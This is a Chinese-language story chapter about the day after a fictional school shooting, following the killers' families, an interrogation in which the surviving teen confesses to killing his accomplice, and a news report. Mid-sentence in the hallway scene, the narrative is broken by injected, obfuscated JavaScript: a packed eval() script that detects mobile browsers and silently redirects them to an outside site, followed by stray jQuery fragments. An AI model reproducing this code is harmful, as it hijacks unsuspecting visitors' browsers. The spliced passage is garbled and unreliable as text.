2000年4月1日凌晨2:00 麦肯纳家
客厅的灯亮了一夜。
凯瑟琳·麦肯纳坐在那张破沙发上，手里攥着电话。她已经这样坐了几个小时，从警察敲响那扇门的那一刻起。
下午五点，两个穿制服的站在门口，问她是卡尔的母亲吗。她说是。他们说需要她跟他们走一趟。她问怎么了。他们没回答。
到了警察局，他们告诉她了。
十七个人死了。二十一个受伤。你的儿子是其中之一。
她没哭。她坐在那儿，听他们说完，然后问：“我能看看他吗？”
他们说不行。还在调查。
她被送回家。天已经黑了。她走进门，看见肖恩站在客厅里。他不知道什么时候赶回来的。
他们就这么坐着，一夜没睡。
肖恩坐在餐桌边，面前放着一杯凉透的咖啡。他没喝，就那么坐着。他看着窗外，看着天从黑变灰，从灰变亮。
凌晨两点的时候，凯瑟琳终于开口了。
“那个孩子，”她说，“他那个朋友。活着的那个。”
肖恩转头看她。
她没看他，继续看着那台关了机的电视。
“他叫什么？”
“伊恩。”肖恩说，“他来过的。”
凯瑟琳点点头。她记得。那个不爱说话的男孩，坐在卡尔旁边，吃她做的饭。
“他杀了十七个人。”她说。
肖恩没说话。
凯瑟琳闭上眼睛。她想起卡尔小时候的样子，想起他第一次打工回来把钱递给她的样子，想起他问“妈，你累不累”的样子。
她睁开眼。
“他到底在想什么。”
这不是问句。
肖恩没有回答。
---
凌晨3:30 维亚家
那栋大房子里的灯也亮着。
伊瑟维尔坐在书房里，面前摊着一堆文件。他从下午接到电话开始就坐在这儿，打了无数个电话，见了无数个人，签了无数份文件。
凌站在门口，没进来。
律师已经来过了。公关团队也来过了。他们说了很多话，什么“未成年”，什么“精神状况”，什么“争取减刑”。伊瑟维尔听着，点头，签字，一句话没说。
凌晨三点半的时候，他站起来，走出书房，走上楼。
他走到伊恩的房间门口，推开门。
房间和他走之前一样。床，书桌，衣柜，窗台。书桌上有一台电脑，关着。抽屉关着，里面不知道有什么。
他站在门口，看着那张床。伊恩就是在这张床上躺了十六年，然后出去，杀了十七个人。
他想起小时候的伊恩。不爱说话，总是一个人待着。他妈发病的时候，他就躲在房间里。他爸不在家的时候，他就站在窗边看那座山。
他从来没问过他在想什么。
伊瑟维尔站在那儿，很久没动。
然后他转身，走下楼。
凌还站在门口。
“律师怎么说？”伊瑟维尔问。
凌说：“未成年，有可能避免死刑。但舆论压力很大。”
伊瑟维尔点点头。
他走到窗边，看着外面的夜色。
“不管花多少钱，”他说，“保住他。”
凌没说话。
伊瑟维尔转过头，看着他。
“听见了吗？”
凌点头。
伊瑟维尔转回去，继续看着窗外。
---
上午9:00 县监狱审讯室
伊恩被带进来的时候，手上戴着手铐，脚上戴着脚镣。
他穿着橙色的囚服，头发乱糟糟的，脸上有一道淤青——不知道什么时候弄的。他走路很慢，脚镣在地上拖着，发出哗啦哗啦的声音。
他被带到一张桌子前，坐下。
对面坐着两个人。一个中年男人，穿着西装，是地方检察官。另一个年轻一点，是助手。
门边还站着两个法警。
检察官看着他，翻开手里的文件夹。
“伊恩·维亚。”他念了一遍名字。
伊恩没说话。
检察官抬起头，看着他。
“你知道自己为什么在这儿吗？”
伊恩看着他，眼睛很平静。
“知道。”他说。
检察官点点头。他把文件夹合上，放在桌上。
“那好。我问你几个问题。”
他顿了顿。
“三月三十一号上午，你和卡尔·麦肯纳一起进入罗斯福高中，携带四支枪械，对吗？”
伊恩点头。
“请你用语言回答。”
“对。”
检察官继续问：“你们开枪射击，导致十七人死亡，二十一人受伤，对吗？”
伊恩沉默了几秒。
“对。”他说。
检察官盯着他。那目光像要把人看穿。
“那些死者，”他说，“你认识他们吗？”
伊恩摇头。
“不认识。”
检察官点点头。他又翻开文件夹，看了一眼，然后抬起头。
“但有一个死者，你认识。”
伊恩没说话。
检察官看着他。
“卡尔·麦肯纳。”他说，“你的同伙，你的朋友。他死了。法医鉴定，他身上有四枪，全部来自同一把枪。那把枪上，有你的指纹。”
他把文件夹放下，往前倾了倾身。
“你杀了卡尔·麦肯纳吗？”
审讯室里很安静。墙上的钟在走，滴答滴答。
伊恩看着检察官，眼睛还是那么平静。
“是。”他说。
检察官挑了挑眉。
“你承认你杀了他？”
“是。”
检察官靠回椅背上，看着他。
“为什么？”
伊恩想了很久。他看着桌上那个录音机，红灯一闪一闪的。他看着对面那两个人，一个等着他回答，一个在低头做笔记。他看着自己手上那副手铐，冰凉的，硌着手腕。
他开口了。
“我们本来应该一起死的。”
检察官愣了一下。
伊恩继续说：“公路旅行的时候，我们说好的。一起走。像邦妮和克莱德那样。”
他看着检察官，眼睛里有种奇怪的东西。
“但他变了。”
“变什么了？”
伊恩想了很久。他不知道怎么解释那种变化。那种眼神，那种笑，那种“这就是权力”的话。
“他喜欢上杀人了。”他说，“他不想死。”
检察官盯着他。
“所以你就杀了他？”
伊恩没回答。
检察官等了几秒，又问了一遍。
“所以你就杀了他？”
伊恩看着他，忽然说了一句话。
“他让我开枪的。”
检察官愣了一下。
“什么？”
伊恩低下头，看着自己手铐上的金属。
“刚开始的时候，”他说，“我开枪了。打了几个。但他不让我开了。”
检察官皱起眉。
“什么意思？”
伊恩沉默了很久。他看着桌上那个录音机，看着那盏红灯一闪一闪。
“他说我不适合。”他说，“他说我下不了手。他说让我录就行了，他来打。”
他抬起头，看着检察官。
“我就录了。”
检察官盯着他，试图从他脸上读出什么。但那张脸上什么都没有。
“后来呢？”
伊恩看着他。
“后来他变了。”他说，“他越打越兴奋。他开始笑，开始说那些话。他说这是权力。他说他能决定谁死谁活。”
他停了一下。
“我不想那样。”
检察官等着他说下去。
伊恩看着他，忽然问了一句。
“你知道我们为什么公路旅行吗？”
检察官没说话。
伊恩自己回答了。
“我们想去看看这个世界。然后一起死。”
他看着检察官，眼睛很平静。
“但他不想死了。他想杀更多人。”
审讯室里很安静。墙上的钟滴答滴答地响着。
过了很久，检察官开口了。
“所以你杀了他？”
伊恩点头。
“是。”
检察官看着他，眼神复杂。
“你觉得你做得对吗？”
伊恩想了很久。
他不知道什么是对，什么是错。他只知道，当卡尔倒在那扇门前面，当那些血流出来，他心里有什么东西落下来了。不是后悔，不是解脱，就是……落下来了。
“不知道。”他说。
---
上午11:00 审讯室外
伊瑟维尔站在走廊里，透过那扇小窗户看着里面。
他看见伊恩坐在那张桌子后面，低着头。他看不见他的脸，只能看见那个橙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380761|200164||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色的背影。
律师站在他旁边。
“他刚才说的那些，”律师说，“对辩护有利。”
伊瑟维尔没说话。
律师继续说：“如果他能证明自己是被胁迫的，或者在精神状态下……”
“他没被胁迫。”伊瑟维尔打断他。
律师愣了一下。
伊瑟维尔看着那个橙色的背影。
“他不会说谎。”他说，“他说的，都是真的。”
律师没说话。
伊瑟维尔站了很久。然后他转身，往外走。
走到门口的时候，他停下来。
“他在里面杀了多少人？”
律师说：“法医报告还没出全。但根据现场证据……”
“我问的是他。”伊瑟维尔说，“他亲手杀了几个。”
律师沉默了几秒。
“目前确认的，只有一个。”他说，“卡尔·麦肯纳。”
伊瑟维尔点点头。
他推开门，走出去。
---
下午2:00 拘留所 会见室
伊恩被带进来的时候，凌已经坐在那里了。
他们隔着一道玻璃墙，通过电话说话。
伊恩坐下来，拿起话筒。
凌看着他，没说话。
伊恩也没说话。
沉默了很久。
凌先开口了。
“你哥说，不管花多少钱，保住你。”
伊恩点点头。
凌看着他，眼睛里有一种他看不懂的东西。
“你自己呢？”他问，“你想活吗？”
伊恩想了很久。
他想起卡尔倒在门前的样子。想起那些血。想起那台DV一直拍着。
他想起公路旅行的时候，那些树，那些路，那些他们一起看过的风景。
他想起卡尔说，我们不是缺爱，不是想引起注意，只是想证明自己存在。
他想起他问过卡尔，下辈子还认识你吗？
卡尔说，不知道。那就现在认识。
他看着凌，忽然笑了一下。很轻，很短。
“不知道。”他说。
---
下午5:00 麦肯纳家
凯瑟琳坐在沙发上，看着电视。
新闻在播那件事。那两个人的照片又出现在屏幕上。卡尔的，伊恩的。并排放在一起。
她看着卡尔那张照片，忽然想起他小时候的样子。他第一次学会骑车，他第一次打工回来，他第一次带朋友回家。
伊恩。那个不爱说话的孩子。坐在她家沙发上，吃她做的饭，和卡尔一起待着。
她从来不知道他在想什么。
肖恩从房间里走出来，站在她旁边。
“妈，”他说，“该吃饭了。”
她摇摇头。
肖恩没再说话。他坐下来，坐在她旁边。
他们一起看着电视。
电视里在放那个活着的孩子的照片。伊恩的。深色头发，脸上没什么表情。
凯瑟琳看着那张脸，忽然说了一句话。
“他不像个杀人犯。”
肖恩没说话。
她又说：“但卡尔也不像。”
肖恩看着她。
她没看他，继续看着电视。
“他到底在想什么。”她问，“卡尔到底在想什么。”
肖恩不知道该怎么回答。
他们坐在那儿，看着电视，很久没说话。
---
晚上8:00 新闻特别报道
“……今日，县检察院正式对伊恩·维亚提起公诉。罪名包括一级谋杀、预谋杀人、非法持有武器等共计二十七项指控。由于被告未成年，将不适用死刑，但若罪名成立，可能面临终身监禁不得假释……”
电视上放着他的照片。深色头发，脸上没什么表情。
主持人说，他在审讯中承认杀害了同伙卡尔·麦肯纳，但对其他指控尚未作出完整供述。
主持人说，他的家人聘请了顶级律师团队，将为他做无罪辩护。
主持人说，下一次庭审将在两周后举行。
伊恩坐在牢房里，看着那台小电视。屏幕上的自己那么陌生，像是另一个人。
他把电视关掉，躺下来。
月光从那扇小窗户透进来，落在墙上。
他看着那片月光，忽然想起卡尔说过的话。
“月亮又不用跟人说话。”
他笑了一下。
然后他闭上眼睛。